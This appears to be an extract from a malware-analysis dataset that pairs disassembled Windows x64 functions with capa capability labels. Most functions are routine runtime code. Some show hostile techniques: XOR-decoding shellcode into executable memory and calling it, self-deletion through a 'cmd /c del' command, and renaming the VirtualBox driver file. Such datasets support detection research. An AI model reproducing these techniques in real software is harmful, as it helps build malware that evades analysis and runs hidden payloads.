joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140021da0
Capabilities:
Check if file exists
Get common file path
Move file

Disassembly:
mov dword [rsp + 8], ecx
sub rsp, 0xc78
mov rax, qword [0x1400645d0]
xor rax, rsp
mov qword [rsp + 0xc60], rax
mov dword [rsp + 0x20], 0
mov edx, 0x104
lea rcx, [rsp + 0x440]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
jne 0x140021de3
xor eax, eax
jmp 0x140021ef3
lea rdx, str.drivers_
lea rcx, [rsp + 0x440]
call fcn.140021c10
cmp dword [rsp + 0xc80], 0
je 0x140021e7b
lea rdx, [rsp + 0x440]
lea rcx, [rsp + 0x30]
call fcn.140021720
lea rdx, [0x1400763f8]
lea rcx, [rsp + 0x30]
call fcn.140021c10
lea rcx, [rsp + 0x30]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x140021e79
lea rdx, [rsp + 0x440]
lea rcx, [rsp + 0x850]
call fcn.140021720
lea rdx, [0x140076418]
lea rcx, [rsp + 0x850]
call fcn.140021c10
mov r8d, 9
lea rdx, [rsp + 0x850]
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_MoveFileExW]
mov dword [rsp + 0x20], eax
jmp 0x140021eef
lea rdx, [rsp + 0x440]
lea rcx, [rsp + 0x30]
call fcn.140021720
lea rdx, str.VBoxDrv.sys
lea rcx, [rsp + 0x30]
call fcn.140021c10
lea rcx, [rsp + 0x30]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
mov dword [rsp + 0x20], eax
lea rdx, [rsp + 0x440]
lea rcx, [rsp + 0x850]
call fcn.140021720
lea rdx, str.VBoxDrv.backup
lea rcx, [rsp + 0x850]
call fcn.140021c10
mov r8d, 9
lea rdx, [rsp + 0x850]
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_MoveFileExW]
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0xc60]
xor rcx, rsp
call fcn.140029c40
add rsp, 0xc78
ret
Function at 0x140027b00
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
xor r11d, r11d
xor ebx, ebx
xor r10d, r10d
mov rdi, rdx
mov rsi, rcx
test r9, r9
je 0x140027c57
lea rbp, [0x140049480]
mov rax, r9
sub rax, r10
cmp rax, 2
jb 0x140027b4d
cmp byte [r10 + r8], 0xd
jne 0x140027b4d
cmp byte [r10 + r8 + 1], 0xa
je 0x140027b90
movzx eax, byte [r10 + r8]
cmp al, 0xa
je 0x140027b90
cmp al, 0x3d
jne 0x140027b67
inc r11d
cmp r11d, 2
ja 0x140027c6e
cmp al, 0x7f
ja 0x140027c6e
movzx eax, al
movzx ecx, byte [rax + rbp]
cmp cl, 0x7f
je 0x140027c6e
cmp cl, 0x40
jae 0x140027b8d
test r11d, r11d
jne 0x140027c6e
inc rbx
inc r10
cmp r10, r9
jb 0x140027b32
test rbx, rbx
je 0x140027c57
lea rax, [rbx + rbx*2]
lea rcx, [rax*2 + 7]
mov eax, r11d
shr rcx, 3
sub rcx, rax
test rsi, rsi
je 0x140027c75
cmp qword [rdx], rcx
jb 0x140027c75
xor r9d, r9d
xor ebx, ebx
mov r11d, 3
mov rax, rsi
test r10, r10
je 0x140027c51
nop dword [rax]
movzx ecx, byte [r8]
cmp cl, 0xd
je 0x140027c49
cmp cl, 0xa
je 0x140027c49
movzx ecx, cl
movzx edx, byte [rcx + rbp]
xor ecx, ecx
cmp dl, 0x40
sete cl
and edx, 0x3f
inc rbx
sub r11d, ecx
mov ecx, r9d
mov r9d, edx
shl ecx, 6
or r9d, ecx
cmp rbx, 4
jne 0x140027c49
xor ebx, ebx
test r11d, r11d
je 0x140027c2b
mov ecx, r9d
shr ecx, 0x10
inc rax
mov byte [rax - 1], cl
cmp r11d, 1
jbe 0x140027c3d
mov ecx, r9d
shr ecx, 8
inc rax
mov byte [rax - 1], cl
cmp r11d, 2
jbe 0x140027c49
mov byte [rax], r9b
inc rax
inc r8
dec r10
jne 0x140027be0
sub rax, rsi
mov qword [rdi], rax
xor eax, eax
mov rbx, qword [rsp + 8]
mov rbp, qword [rsp + 0x10]
mov rsi, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
ret
mov eax, 0xffffffd4
jmp 0x140027c59
mov qword [rdx], rcx
mov eax, 0xffffffd6
jmp 0x140027c59
Function at 0x140027c80
Capabilities:
Encode data using base64

Disassembly:
push rsi
push r14
push r15
mov rsi, r9
mov r11, r8
mov r14, rdx
mov r15, rcx
test r9, r9
je 0x140027e3d
lea rcx, [r9*8]
movabs r8, 0xaaaaaaaaaaaaaaab
mov rax, r8
mul rcx
lea rcx, [r9*8]
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
cmp rcx, 2
je 0x140027cdb
cmp rcx, 4
jne 0x140027cdf
add rdx, 2
jmp 0x140027cdf
add rdx, 3
inc rdx
cmp qword [r14], rdx
jae 0x140027cf5
mov qword [r14], rdx
mov eax, 0xffffffd6
pop r15
pop r14
pop rsi
ret
mov qword [rsp + 0x20], rbx
xor ebx, ebx
mov qword [rsp + 0x28], rbp
mov rax, r8
mov qword [rsp + 0x38], r12
mov rcx, r15
mov ebp, ebx
lea r12, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
mul rsi
shr rdx, 1
lea rdx, [rdx + rdx*2]
test rdx, rdx
je 0x140027dbd
mov qword [rsp + 0x30], rdi
dec rdx
mov rax, r8
mul rdx
mov rdi, rdx
shr rdi, 1
inc rdi
lea rbp, [rdi + rdi*2]
nop dword [rax]
nop word [rax + rax]
movzx r8d, byte [r11]
movzx r9d, byte [r11 + 1]
movzx r10d, byte [r11 + 2]
mov edx, r9d
mov eax, r8d
shl r8d, 4
sar rax, 2
sar edx, 4
add rcx, 4
and eax, 0x3f
add edx, r8d
add r11, 3
movzx eax, byte [rax + r12]
and edx, 0x3f
mov byte [rcx - 4], al
movzx eax, byte [rdx + r12]
mov byte [rcx - 3], al
mov eax, r10d
sar eax, 6
lea edx, [rax + r9*4]
and edx, 0x3f
movzx eax, byte [rdx + r12]
mov byte [rcx - 2], al
mov eax, r10d
and eax, 0x3f
movzx eax, byte [rax + r12]
mov byte [rcx - 1], al
dec rdi
jne 0x140027d50
mov rdi, qword [rsp + 0x30]
cmp rbp, rsi
jae 0x140027e22
movzx r8d, byte [r11]
inc rbp
cmp rbp, rsi
jae 0x140027dd3
movzx ebx, byte [r11 + 1]
mov eax, r8d
mov edx, ebx
shl r8d, 4
sar rax, 2
sar edx, 4
and eax, 0x3f
add edx, r8d
movzx eax, byte [rax + r12]
and edx, 0x3f
mov byte [rcx], al
movzx eax, byte [rdx + r12]
mov byte [rcx + 1], al
cmp rbp, rsi
jae 0x140027e13
and ebx, 0xf
shl ebx, 2
movsxd rax, ebx
movzx eax, byte [rax + r12]
mov byte [rcx + 2], al
jmp 0x140027e17
mov byte [rcx + 2], 0x3d
add rcx, 3
inc rcx
mov byte [rcx - 1], 0x3d
mov r12, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x20]
mov rax, rcx
sub rax, r15
mov qword [r14], rax
mov byte [rcx], 0
xor eax, eax
pop r15
pop r14
pop rsi
ret
Function at 0x140027e70
Capabilities:
Encode data using xor

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
push rdi
sub rsp, 0x50
mov rax, qword [0x1400645d0]
xor rax, rsp
mov qword [rsp + 0x48], rax
xor eax, eax
xor edi, edi
lea r9, [r11 - 0x20]
mov qword [r11 - 0x20], rax
mov qword [r11 - 0x18], rax
lea rax, [r11 - 0x28]
lea r8d, [rdi + 0x10]
lea rdx, [r11 - 0x20]
mov rbx, rcx
mov qword [r11 - 0x38], rax
mov qword [r11 - 0x28], rdi
call fcn.1400275a0
test eax, eax
jne 0x14002804d
movzx eax, byte [rsp + 0x39]
movzx r8d, byte [rsp + 0x38]
movzx r9d, byte [rsp + 0x40]
movzx ecx, byte [rsp + 0x3c]
shl r8d, 8
shl r9d, 8
or r8d, eax
movzx eax, byte [rsp + 0x3a]
shl ecx, 8
shl r8d, 8
mov qword [rbx + 0xd8], rdi
mov qword [rbx + 0x58], rdi
or r8d, eax
movzx eax, byte [rsp + 0x3b]
lea r10d, [rdi + 4]
shl r8d, 8
or r8, rax
movzx eax, byte [rsp + 0x3d]
or ecx, eax
movzx eax, byte [rsp + 0x3e]
shl r8, 0x20
shl ecx, 8
or eax, ecx
movzx ecx, byte [rsp + 0x44]
shl eax, 8
shl ecx, 8
or r8, rax
movzx eax, byte [rsp + 0x3f]
or r8, rax
movzx eax, byte [rsp + 0x41]
or r9d, eax
movzx eax, byte [rsp + 0x42]
mov qword [rbx + 0x118], r8
shl r9d, 8
or r9d, eax
movzx eax, byte [rsp + 0x43]
shl r9d, 8
or r9, rax
movzx eax, byte [rsp + 0x45]
or ecx, eax
movzx eax, byte [rsp + 0x46]
shl r9, 0x20
shl ecx, 8
or eax, ecx
shl eax, 8
or r9, rax
movzx eax, byte [rsp + 0x47]
or r9, rax
mov qword [rbx + 0x98], r9
nop word [rax + rax]
mov eax, r9d
mov rcx, r8
and eax, 1
shl rcx, 0x3f
imul edx, eax, 0xe1000000
mov rax, r9
mov r9, rcx
shr rax, 1
mov ecx, edx
or r9, rax
mov rax, r8
shl rcx, 0x20
shr rax, 1
mov r8, rcx
xor r8, rax
movsxd rax, r10d
sar r10d, 1
mov qword [rbx + rax*8 + 0x58], r9
mov qword [rbx + rax*8 + 0xd8], r8
test r10d, r10d
jg 0x140027f90
mov edi, 2
nop
movsxd rdx, edi
lea rcx, [rbx + 0x58]
lea r10, [rbx + 0xd8]
mov r8, qword [r10 + rdx*8]
mov r9, qword [rcx + rdx*8]
lea rcx, [rcx + rdx*8]
lea r10, [r10 + rdx*8]
cmp rdx, 1
jle 0x140028044
sub rcx, rbx
sub r10, rbx
lea rax, [rbx + 0x60]
lea r11, [rcx - 0x58]
dec rdx
nop word [rax + rax]
mov rcx, qword [rax + 0x80]
lea rax, [rax + 8]
xor rcx, r8
mov qword [r10 + rax - 0x60], rcx
mov rcx, qword [rax - 8]
xor rcx, r9
mov qword [r11 + rax - 8], rcx
dec rdx
jne 0x140028020
add edi, edi
cmp edi, 0x10
jl 0x140027fe0
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140029c40
mov rbx, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret
Function at 0x140030700
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov ecx, 1
mov dword [0x140079c30], eax
call fcn.140036454
mov rcx, rbx
call fcn.140030720
cmp dword [0x140079c30], 0
jne 0x14002b3ce
mov ecx, 1
call fcn.140036454
mov ecx, 0xc0000409
add rsp, 0x20
pop rbx
jmp 0x140030700
push rbx
sub rsp, 0x20
mov ebx, ecx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, ebx
mov rcx, rax
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TerminateProcess]
Function at 0x1400897c0
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
sub rsp, 0x50
mov r12, r9
mov rsi, r8
mov rbx, rdx
mov rdi, rcx
test r8, r8
jne 0x1400897ed
xor al, al
jmp 0x14008994f
mov rax, qword [0x1400aa710]
lea rcx, [rsp]
xor r11d, r11d
mov qword [rcx], rax
mov rax, qword [0x1400aa718]
mov qword [rsp + 0x60], rbp
mov qword [rcx + 8], rax
mov rax, qword [0x1400aa720]
mov rdx, r11
mov qword [rcx + 0x10], rax
mov rax, qword [0x1400aa728]
mov qword [rcx + 0x18], rax
mov rax, qword [0x1400aa730]
mov qword [rcx + 0x20], rax
mov rax, qword [0x1400aa738]
mov qword [rcx + 0x28], rax
mov rax, qword [0x1400aa740]
mov qword [rcx + 0x30], rax
mov rax, qword [0x1400aa748]
mov qword [rcx + 0x38], rax
movzx eax, byte [0x1400aa750]
mov byte [rcx + 0x40], al
mov rax, qword [r9]
mov rcx, r8
lea rbp, [r8 + rax]
test rbx, rbx
je 0x140089941
add r8, 4
nop word [rax + rax]
movzx r9d, byte [rdx + rdi]
inc rdx
shl r9d, 0x10
cmp rdx, rbx
jne 0x140089899
mov r11d, 2
jmp 0x1400898bd
movzx eax, byte [rdx + rdi]
inc rdx
shl eax, 8
or r9d, eax
cmp rdx, rbx
jne 0x1400898b3
mov r11d, 1
jmp 0x1400898bd
movzx eax, byte [rdx + rdi]
or r9d, eax
inc rdx
mov r10d, r9d
and r9d, 0x3f
cmp r8, rbp
ja 0x140089965
mov rax, r10
shr rax, 0x12
and eax, 0x3f
movzx eax, byte [rsp + rax]
mov byte [rcx], al
mov rax, r10
shr rax, 0xc
and eax, 0x3f
movzx eax, byte [rsp + rax]
mov byte [rcx + 1], al
cmp r11, 1
jbe 0x140089902
mov byte [rcx + 2], 0x3d
add rcx, 3
add r8, 3
jmp 0x14008991a
shr r10, 6
add rcx, 3
and r10d, 0x3f
add r8, 3
movzx eax, byte [rsp + r10]
mov byte [rcx - 1], al
test r11, r11
je 0x14008992a
mov byte [rcx], 0x3d
inc rcx
inc r8
jmp 0x140089938
movzx eax, byte [rsp + r9]
inc rcx
inc r8
mov byte [rcx - 1], al
cmp rdx, rbx
jb 0x140089880
sub rcx, rsi
mov al, 1
mov qword [r12], rcx
mov rbp, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x50
pop r12
ret
xor al, al
jmp 0x14008994a
Function at 0x1400013c0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x40
mov rsi, rdx
mov ebx, 0xb00
mov r9d, 0x40
mov r8d, 0x1000
xor ecx, ecx
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea r9, [0x14008dd50]
mov rdi, rax
mov r8, rax
sub r9, rax
mov cl, byte [r9 + r8]
xor cl, 0x97
mov byte [r8], cl
inc r8
sub rbx, 1
jne 0x1400013fe
mov r8, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdx, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rax, [fcn.140002370]
mov qword [rsp + 0x30], rax
lea rax, [fcn.140001fe0]
lea r9, [fcn.14000245c]
mov qword [rsp + 0x28], rax
lea rax, [fcn.140002314]
mov rcx, rsi
mov qword [rsp + 0x20], rax
call rdi
xor edx, edx
mov r8d, 0x4000
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rsi, qword [rsp + 0x58]
mov rax, rbx
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret

Function at 0x140001500
Capabilities:
Create process on windows
Create process suspended
Get comspec environment variable
Query environment variable
Resume thread
Self delete
Set file attributes

Disassembly:
push rdi
sub rsp, 0x910
lea rdx, [rsp + 0xe0]
mov r8d, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor edi, edi
cmp eax, edi
je 0x14000165e
lea rdx, [rsp + 0x2f0]
lea rcx, str.COMSPEC
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
cmp eax, edi
je 0x14000165e
lea rdx, [rsp + 0xe0]
lea rcx, [rsp + 0xe0]
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetShortPathNameW]
cmp eax, edi
je 0x14000165e
lea r8d, [rdi + 0x68]
lea rcx, [rsp + 0x70]
xor edx, edx
call fcn.140002370
xor eax, eax
lea r9, [rsp + 0xe0]
lea r8, [rsp + 0x2f0]
lea rdx, str._s__c_del__s
lea rcx, [rsp + 0x500]
mov dword [rsp + 0x70], 0x68
mov dword [rsp + 0xac], 1
mov word [rsp + 0xb0], di
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rax
call fcn.140002530
lea r11, [rsp + 0x50]
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], r11
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
lea rdx, [rsp + 0x500]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp eax, edi
jne 0x14000161c
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x140001660
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0x80
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
lea rcx, [rsp + 0xe0]
mov edx, 0x80
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov rcx, qword [rsp + 0x50]
mov edx, 0x40
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
xor eax, eax
add rsp, 0x910
pop rdi
ret
Function at 0x1400046c4
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov dword [rsp + 0x18], r8d
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov r12d, r8d
mov ebx, edx
mov r15d, ecx
mov ecx, 8
call fcn.140007220
nop
cmp dword [0x14008f1d8], 1
je 0x140004670
mov dword [0x14008f1d4], 1
mov byte [0x14008f1d0], r12b
test ebx, ebx
jne 0x14000465c
mov rcx, qword [0x1400914b0]
call sub.KERNEL32.dll_DecodePointer
mov rsi, rax
mov qword [rsp + 0x30], rax
test rax, rax
je 0x140004649
mov rcx, qword [0x1400914a8]
call sub.KERNEL32.dll_DecodePointer
mov rdi, rax
mov qword [rsp + 0x20], rax
mov r14, rsi
mov qword [rsp + 0x28], rsi
mov r13, rax
mov qword [rsp + 0x38], rax
sub rdi, 8
mov qword [rsp + 0x20], rdi
cmp rdi, rsi
jb 0x1400045e8
call fcn.140006958
cmp qword [rdi], rax
jne 0x1400045e8
jmp 0x1400045ce
cmp rdi, rsi
jb 0x140004649
mov rcx, qword [rdi]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
call fcn.140006958
mov qword [rdi], rax
call rbx
mov rcx, qword [0x1400914b0]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
mov rcx, qword [0x1400914a8]
call sub.KERNEL32.dll_DecodePointer
cmp r14, rbx
jne 0x140004627
cmp r13, rax
je 0x140004647
mov r14, rbx
mov qword [rsp + 0x28], rbx
mov rsi, rbx
mov qword [rsp + 0x30], rbx
mov r13, rax
mov qword [rsp + 0x38], rax
mov rdi, rax
mov qword [rsp + 0x20], rax
jmp 0x1400045ce
lea rdx, [0x14000f3e0]
lea rcx, [0x14000f3c8]
call fcn.140004418
lea rdx, [0x14000f3f0]
lea rcx, [0x14000f3e8]
call fcn.140004418
nop
test r12d, r12d
je 0x14000467f
mov ecx, 8
call fcn.140007120
test r12d, r12d
jne 0x1400046aa
mov dword [0x14008f1d8], 1
lea ecx, [r12 + 8]
call fcn.140007120
mov ecx, r15d
call fcn.1400043ac
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
xor r8d, r8d
xor edx, edx
jmp 0x140004538

Function at 0x1400046d0
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
lea edx, [r8 + 1]
jmp 0x140004538
Function at 0x140008c28
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x40
mov ebp, r8d
mov r13, rdx
mov r14, rcx
call fcn.140006958
xor ebx, ebx
mov rdi, rax
cmp qword [0x14008fa50], rbx
jne 0x140008d2e
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
je 0x140008e03
lea rdx, str.MessageBoxA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140008e03
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x14008fa50], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x14008fa58], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetUserObjectInformationA
mov rcx, rsi
mov qword [0x14008fa60], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov r11, rax
mov qword [0x14008fa70], rax
test rax, rax
je 0x140008d25
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov qword [0x14008fa68], rax
jmp 0x140008d35
mov rax, qword [0x14008fa68]
jmp 0x140008d3c
mov rax, qword [0x14008fa68]
mov r11, qword [0x14008fa70]
cmp rax, rdi
je 0x140008da4
cmp r11, rdi
je 0x140008da4
mov rcx, rax
call sub.KERNEL32.dll_DecodePointer
mov rcx, qword [0x14008fa70]
mov rsi, rax
call sub.KERNEL32.dll_DecodePointer
mov r12, rax
test rsi, rsi
je 0x140008da4
test rax, rax
je 0x140008da4
call rsi
test rax, rax
je 0x140008d9e
lea rcx, [rsp + 0x88]
mov r9d, 0xc
lea r8, [rsp + 0x30]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x140008d9e
test byte [rsp + 0x38], 1
jne 0x140008da4
bts ebp, 0x15
jmp 0x140008de2
mov rcx, qword [0x14008fa58]
cmp rcx, rdi
je 0x140008de2
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x140008de2
call rax
mov rbx, rax
test rax, rax
je 0x140008de2
mov rcx, qword [0x14008fa60]
cmp rcx, rdi
je 0x140008de2
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x140008de2
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x14008fa50]
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x140008e03
mov r9d, ebp
mov r8, r13
mov rdx, r14
mov rcx, rbx
call rax
jmp 0x140008e05
xor eax, eax
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0x14000b2f7
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x140014130]
jne 0x14000849a
rol rcx, 0x10
test cx, 0xffff
jne 0x140008496
repz ret
ror rcx, 0x10
jmp 0x14000b250
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x14008fb40]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x14008fc38]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x14000b2d5
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x14008fb40]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x14000b2f7
mov rax, qword [rsp + 0x88]
mov qword [0x14008fc38], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x14008fbd8], rax
mov rax, qword [0x14008fc38]
mov qword [0x14008fab0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x14008fbc0], rax
mov dword [0x14008faa0], 0xc0000409
mov dword [0x14008faa4], 1
mov rax, qword [0x140014130]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140014138]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x14008fb38], eax
mov ecx, 1
call fcn.1400084a0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x140011038]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x14008fb38], 0
jne 0x14000b37e
mov ecx, 1
call fcn.1400084a0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x140002952
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x28
xor r8d, r8d
mov rsi, rcx
mov rbx, rdx
test rdx, rdx
je 0x140002971
mov rcx, rdx
call sub.msvcrt.dll_strlen
mov r8, rax
mov rcx, rbx
mov r9, rsi
mov edx, 1
call sub.msvcrt.dll_fwrite
mov rcx, rsi
add rsp, 0x28
pop rbx
pop rsi
jmp fcn.14001aa70

Function at 0x1400055b7
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov qword [rsp + 0x28], rdx
mov rsi, rcx
mov ecx, 2
call qword [fcn.14001a490]
mov r8, qword [rsp + 0x28]
mov rcx, rsi
mov edx, 1
mov rbx, rax
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rcx, rbx
add rsp, 0x38
pop rbx
pop rsi
jmp fcn.14001aa70

Function at 0x1400055f6
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
cmp qword [0x14006b0f0], 0
jne 0x14000560e
add rsp, 0x38
pop rbx
pop rsi
jmp fcn.1400055b7
lea rsi, [rsp + 0x20]
mov rdx, rcx
mov rcx, rsi
call fcn.140005530
mov rbx, qword [rsp + 0x28]
mov rcx, rsi
call qword [0x14006b0f0]
test rbx, rbx
je 0x14000563f
test byte [rbx + 7], 0x40
jne 0x14000563f
mov rcx, rbx
call fcn.1400039dc
lea rcx, [0x14001b320]
call fcn.140015270
cmp byte [rax], 0
je 0x140005677
mov byte [rax], 0
lea rcx, [0x14001b220]
call fcn.140015270
xor r8d, r8d
mov rcx, rax
mov rax, qword [rax]
mov rdx, qword [rax + 0x38]
add rsp, 0x38
pop rbx
pop rsi
jmp fcn.140003f41
add rsp, 0x38
pop rbx
pop rsi
ret

Function at 0x140005ced
Capabilities:
Write file on windows

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x30
lea r12, [0x14006b0c0]
xor ebx, ebx
lea r14, [0x14001b320]
mov rsi, rcx
mov rdi, rdx
lea r13, [rsp + 0x20]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbp, qword [fcn.14001a490]
mov ecx, 1
cmp rbx, rdi
jl 0x140005d73
call rbp
mov r8d, 1
mov edx, 1
lea rcx, [0x14001c3bb]
mov r9, rax
call sub.msvcrt.dll_fwrite
mov ecx, 1
call rbp
mov rcx, rax
call fcn.14001aa70
mov rcx, r12
add rsp, 0x30
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rbp
xor r8d, r8d
mov rdx, r13
mov rcx, rax
mov rax, rbx
shl rax, 4
movups xmm0, xmmword [rsi + rax]
movups xmmword [rsp + 0x20], xmm0
call fcn.140005bc7
mov rcx, r14
call fcn.140015270
cmp byte [rax], 0
jne 0x140005da5
inc rbx
jmp 0x140005d26
add rsp, 0x30
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret